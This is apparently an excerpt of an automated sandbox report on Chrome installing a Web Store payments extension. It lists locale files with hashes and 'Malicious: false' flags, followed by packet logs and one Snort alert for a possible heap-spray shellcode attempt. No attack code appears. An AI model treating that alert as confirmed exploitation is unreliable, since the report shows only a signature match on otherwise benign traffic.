SHA1: 2B374462137A38589A73FDD00A84CBDC7E50F9F4

SHA-256: 7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAF4DED9D63B

SHA-512: C0E623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EB0AFFBE087AAB62F1C88CD2A40CC44E599
D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplik.cia moment.lne nie je dostupn.."..   },..   "craw_connect_to_network": {..      "message": "Pripojte sa k sieti."..   },..   
"iap_unavailable": {..      "message": "Platby v aplik.cii moment.lne nie s. k dispoz.cii."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be com
pleted."..   },..   "please_sign_in": {..      "message": "Prihl.ste sa do prehliada.a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 617

Entropy (8bit): 4.5101656584816885

Encrypted: false

SSDEEP: 12:1HEJGcyvmbZGGGcyvmbZ+WYpU34OBOEtf+dgca1ZO8ZpU34GcQArERff03OyZnLh:1HE4cyY4TcyY8WYpNoWa1w8ZpQcQ6AfK

MD5: 3943FA2A647AECEDFD685408B27139EE

SHA1: 0129DD19D28373359530B3B477FE8A9279DABB7D

SHA-256: 18AFF072EE0DF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A

SHA-512: 42E62B3855611FF2E1D39C11404CB1A09825EE4CA6A8ACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297B0DEC0
9D

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ru\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sk\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sl\messages.json
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Preview: {..   "app_description": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "app_name": {..      "message": "Pla.ila v spletni trgovini Chrome"..   },..   "craw_app
_unavailable": {..      "message": "Aplikacija trenutno ni na voljo."..   },..   "craw_connect_to_network": {..      "message": "Pove.ite se z omre.jem."..   },..   "iap_unavailabl
e": {..      "message": "Pla.ila v aplikacijah trenutno niso na voljo."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "
please_sign_in": {..      "message": "Prijavite se v Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 743

Entropy (8bit): 4.913927107235852

Encrypted: false

SSDEEP: 12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP03OyZnLAOfTYzDYD:1HEKsb59sbTWYplx4Xud8Zpy1mNOGAOv

MD5: D485DF17F085B6A37125694F85646FD0

SHA1: 24D51D8642CDC6EFD5D8D7A4430232D8CDE25108

SHA-256: 7FFDE34C58E7C376C042DE64DEF6481DAE32BE8B70F0B18EDF536290CBE0C818

SHA-512: 0DDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378EC9D36177FFBE213471247FB94721EA34A83E7665669200047091D0FDE134E3D763217E7

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "....... . Chrome ...-.........."..   },..   "app_name": {..      "message": "....... . Chrome ...-.........."..   },..   "craw_app_unavailable": {..      
"message": ".......... .. ........ ..........."..   },..   "craw_connect_to_network": {..      "message": "........ .. ......."..   },..   "iap_unavailable": {..      "message": "....... . .......... .. ........ 
..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "......... .. . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 630

Entropy (8bit): 4.52964089437422

Encrypted: false

SSDEEP: 12:1HEJJMkbGGJMkb+WYpU34OACwz+dgNPGFZO8ZpU34JgpXLSb03OyZnLAOfTYLdID:1HErMkaqMk6WYpTOcb8ZpDgdZOGAOf8Y

MD5: D372B8204EB743E16F45C7CBD3CAAF37

SHA1: C96C57219D292B01016B37DCF82E7C79AD0DD1E8

SHA-256: B8BA77E0089B0676545EC16D32468B727812B444F90B33A7A5B748E6C36C4388

SHA-512: 33640529E0D5DCC5CA4BDB0615A2818E8D26C6FCB7B3474C08AC3EB67B9DB40E1F0A79954ED20728CD47A686D2533DCBC76ABCBDB917F8530C8DE8BBA6873
52E

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Betalning via Chrome Web Store"..   },..   "app_name": {..      "message": "Betalning via Chrome Web Store"..   },..   "craw
_app_unavailable": {..      "message": "Appen .r inte tillg.nglig f.r tillf.llet."..   },..   "craw_connect_to_network": {..      "message": "Anslut till ett n.tverk."..   },..   "iap_unavai
lable": {..      "message": "Betalning i appen .r inte tillg.ngligt f.r n.rvarande."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },.. 
  "please_sign_in": {..      "message": "Logga in i Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 945

Entropy (8bit): 4.801079428724355

Encrypted: false

SSDEEP: 24:1HEKa1dDa1/WYp6UFi72SmlG8ZpyactrW2SAOGAOfvSLD:WK2DNYp6U4y3bpyLxwGFW

MD5: 83E2D1E97791A4B2C5C69926EFB629C9

SHA1: 429600425CB0F196DDD717F940E94DBD8BFF2837

SHA-256: 2FECA577F43D97BAEEA464741D585892103585208FD0A935B810A03BDCE83C88

SHA-512: 60A5928DAA8CB4341487F477C56B5A98B83EDE50E5F4F55A802E01FDDAB86F3E795D391953D3D9214552D14D3F58C5A183693C613720FC12FC387D7B8F9B9AB6

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "............... Chrome ........."..   },..   "app_name": {..      "message": "............... Chrome ........."..   },..   "craw_app_unavailable": {..    
  "message": "............................."..   },..   "craw_connect_to_network": {..      "message": "........................."..   },..   "iap_unavailable": {..      "message": "............................
..................."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "................. Chrome"..   
}..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\sv\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\th\messages.json
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 631

Entropy (8bit): 4.710869622361971

Encrypted: false

SSDEEP: 12:1HEJ9Y8GG9Y8+WYpU34wWT+dgGb0GO8ZpU34wryd7T03OyZnLAOfTYGbPKG:1HE0jWYpyRnG8Zpyr/OGAOfFPn

MD5: 2CEAE0567B6BB1D240BBAD690A98CA3B

SHA1: 5944346FBD4A0797B13223895995CAB58E9ECD23

SHA-256: A7CB86F30C9C31FE5540282C308BA96ADB4EC16EF98C87129EB88105E5BEF5FC

SHA-512: 108A07C6D03D7178E8D0FFEF5349E0249A898D864964FED8757BD8A08BC1C6D9613F2A6C01AA34A6606127D1C6CE14C229FA02586677DBB060B85E3E845950E1

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "app_name": {..      "message": "Chrome Web Ma.azas. .demeleri"..   },..   "craw_a
pp_unavailable": {..      "message": "Uygulama .u anda kullan.lam.yor."..   },..   "craw_connect_to_network": {..      "message": "L.tfen bir a.a ba.lan.n."..   },..   "iap_unavail
able": {..      "message": "Uygulama ..i .demeler .u anda kullan.lamaz."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   
"please_sign_in": {..      "message": "L.tfen Chrome'da oturum a..n."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 720

Entropy (8bit): 4.977397623063544

Encrypted: false

SSDEEP: 12:1HEJ7wILkSlXZGG7wILkSlXZ+WYpU34zb1Oy2P+dgSV1EjiTO8ZpU347qtfP2CTW:1HElwEkK4uwEkK8WYpd/dTV1e8Zptq5S

MD5: AB0B56120E6B38C42CC3612BE948EF50

SHA1: 8B3F520E5713D9F116D68E71DAEED1F6E8D74629

SHA-256: 68ABA284751EB9C856032062EF9B1651E2A1E5CE5FDA0977FFC97D63BA7BED9E

SHA-512: CD852A58217F739C1CD58567FF432D31A7AD3F68C884ABBA1DA95799BCD1545C6A5D3B06F319681C12B78AD0A709828DE4B22736316F148D21F5DB76A5BCCBE
F

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "....... ...-........ Chrome"..   },..   "app_name": {..      "message": "....... ...-........ Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........ ......... ..........."..   },..   "craw_connect_to_network": {..      "message": "............. .. ......."..   },..   "iap_unavailable": {..      "message": "....... ..... ........ ..... .. 
........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "........ . Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 695

Entropy (8bit): 4.855375139026009

Encrypted: false

SSDEEP: 12:1HEJMAZrSFZGGMAZrSFZ+WYpU34WFHoz+dgdklzoO8ZpU34NFHoz03OyZnLAOfTU:1HEI4B8WYpAKytFZ8ZpXKMOGAOfd6D

MD5: 7EBB677FEAD8557D3676505225A7249A

SHA1: F161B4B6001AEAEAB246FF8987F4D992B48D47BE

SHA-256: 051F96ED874C11C4A13589B5F68964E4F5B03B52DDA223D56524F2CA23760C04

SHA-512: 74FD267CF7E299FB8E7054605C3F651F057F676FF865082FA24F4916755456768DB0DA62DBC515D829B48AB1F9CFC8AD3E841DCBF1F194D5CB14C5335A192A0D

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   },..   "app_name": {..      "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n"..   
},..   "craw_app_unavailable": {..      "message": ".ng d.ng hi.n kh.ng kh. d.ng."..   },..   "craw_connect_to_network": {..      "message": "Vui l.ng k.t n.i v.i m.ng."..   },..   
"iap_unavailable": {..      "message": "Thanh to.n trong .ng d.ng hi.n kh.ng kh. d.ng."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be compl
eted."..   },..   "please_sign_in": {..      "message": "Vui l.ng ..ng nh.p v.o Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\tr\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\uk\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\vi\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\zh_CN\messages.json
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Size (bytes): 595

Entropy (8bit): 5.210259193489374

Encrypted: false

SSDEEP: 12:1HEJ01GG01+WYpU34zeHz+dgfO8ZpU34YKiO03OyZnLAOfTYB6U:1HEpIWYpISv8Zp+JOGAOfa6U

MD5: BB73BF561BB79F89D9BF7C67C5AE5C65

SHA1: 2FADD3A1959B29C44830033A35C637D0311A8C9C

SHA-256: D804F2A040D21D7511EFD5213D8E1721D64964A1A0DBB48E21622CEEDC9D967E

SHA-512: 627D44CEF1FE5C5ABD598BD47FF5E22B9EFC1CF98DDE3868FA9E5896C134A0C9C055AC34EDDADAE56B6690E51AEA89965D38F770552A85C732CC796795DC6
8D2

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ........."..   },..   "app_name": {..      "message": "Chrome ........."..   },..   "craw_app_unavailable": {..      "message": "........
."..   },..   "craw_connect_to_network": {..      "message": "......."..   },..   "iap_unavailable": {..      "message": "............"..   },..   "jwt_retrieve_failed": {..      "message": "The 
transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 634

Entropy (8bit): 5.386215984611281

Encrypted: false

SSDEEP: 12:1HEJ2j62GG2j62+WYpU34m7T+dgc8nOO8ZpU34mvIO03OyZnLAOfTYAuH:1HEuSZCWYpsStwP8ZpROGAOfCH

MD5: 5FF50C673CC0C661D615F0CFD0E6DCA0

SHA1: 60DFF98DEAB9C4746B288BDD9C94B3BCAE5EAA85

SHA-256: C6F8C640F3353A7B9B1432A0C139C1AEEC40133800E6C9B467B63991AD660308

SHA-512: 361D62D91F4931C5F34092C9F2C6A5323D5EEB82A24E7ABE11F7817D8D66341C0ECAD4DCB4B10873920C8D6A3CC9F5704889E178EB2549001A9F62BEDF6C801
9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome ............"..   },..   "app_name": {..      "message": "Chrome ............"..   },..   "craw_app_unavailable": {..      "message": "..
..........."..   },..   "craw_connect_to_network": {..      "message": "......"..   },..   "iap_unavailable": {..      "message": "................"..   },..   "jwt_retrieve_failed": {..      "message
": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 7780

Entropy (8bit): 5.791315351651491

Encrypted: false

SSDEEP: 192:RktDNJ2UzsL5KcASyoH+CouKP/iNGRo/oRHMIT:AZQflcsU

MD5: 0834821960CB5C6E9D477AEF649CB2E4

SHA1: 7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588

SHA-256: 52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69

SHA-512: 9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3F
C4

Malicious: false

Reputation: low

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHs
icGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwY
XRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGg
iOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6I
l9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2x
vY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jY
Wxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\zh_TW\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_metadata\verified_contents.json

Static File Info
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⊘ No static file info

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

192.154.231.67192.168.2.
5443497812013145 
07/01/22-
11:00:48.977390

TCP 201314
5

ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt 443 49781 192.154.231.
67

192.168.2.5

Total Packets: 80

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Jul 1, 2022 11:00:33.900844097 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.900902033 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.901021004 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.901128054 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.901173115 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.901236057 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.904175997 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.904208899 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.904323101 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.904339075 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.905916929 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.905956030 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.906037092 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.912055016 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.912086964 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.962368965 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.962519884 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.964881897 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.965025902 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:33.966357946 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:33.966476917 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.025254965 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.025315046 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.025439978 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.025449991 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.025715113 CEST 443 49731 23.211.6.115 192.168.2.5

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets
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Jul 1, 2022 11:00:34.025804996 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.033847094 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.033884048 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.034163952 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.034241915 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.034606934 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.040314913 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.040349007 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.040592909 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.040658951 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.040719032 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.042937994 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.042975903 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.043054104 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.043067932 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.043091059 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.043144941 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.044312954 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.044353962 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.044457912 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.045387030 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.045408964 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.052741051 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.052767992 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.052822113 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.052911997 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.052938938 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.068519115 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.068545103 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.068614960 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.068623066 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.068650961 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.068695068 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.098015070 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.098113060 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.101746082 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.101768970 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.104207039 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.104232073 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.133217096 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.133265018 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.133330107 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.133331060 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.133397102 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.133454084 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.193572044 CEST 49731 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.193639994 CEST 443 49731 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.211735964 CEST 49730 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.211786032 CEST 443 49730 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.213677883 CEST 49732 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.213709116 CEST 443 49732 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.216161966 CEST 49733 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.216201067 CEST 443 49733 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.223125935 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.223212004 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.223309040 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.223829985 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.223860025 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.276583910 CEST 443 49734 23.211.6.115 192.168.2.5

Timestamp Source Port Dest Port Source IP Dest IP
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Jul 1, 2022 11:00:34.281800985 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.285156965 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.285192013 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.286283970 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.286309958 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.311403036 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.311434984 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.311501980 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.311577082 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.311624050 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.325037956 CEST 49734 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.325093031 CEST 443 49734 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.342895985 CEST 49735 443 192.168.2.5 23.211.6.115

Jul 1, 2022 11:00:34.342945099 CEST 443 49735 23.211.6.115 192.168.2.5

Jul 1, 2022 11:00:34.346690893 CEST 49735 443 192.168.2.5 23.211.6.115

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Jul 1, 2022 11:00:43.128926992 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:43.133152962 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:43.161752939 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:43.274400949 CEST 63712 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:43.287456989 CEST 63187 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:43.301704884 CEST 53 63712 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:43.306559086 CEST 62466 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:43.331804991 CEST 53 62466 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:43.879009962 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:43.885968924 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:43.911968946 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:44.517154932 CEST 52982 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:44.629508972 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:44.636513948 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:44.671565056 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:44.894855976 CEST 53 52982 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:46.826791048 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:46.828768015 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:46.830429077 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:47.578119993 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:47.580020905 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:47.581012964 CEST 137 137 192.168.2.5 192.168.2.255

Jul 1, 2022 11:00:47.937928915 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:47.978935003 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:47.990103960 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.009360075 CEST 63538 53 192.168.2.5 8.8.8.8

Jul 1, 2022 11:00:48.026087046 CEST 53 63538 8.8.8.8 192.168.2.5

Jul 1, 2022 11:00:48.030723095 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.030761003 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.030780077 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.030798912 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.039489985 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.040699959 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.119380951 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.119957924 CEST 63243 443 192.168.2.5 142.251.36.238

Jul 1, 2022 11:00:48.172389984 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.186300993 CEST 443 63243 142.251.36.238 192.168.2.5

Jul 1, 2022 11:00:48.188409090 CEST 63243 443 192.168.2.5 142.251.36.238

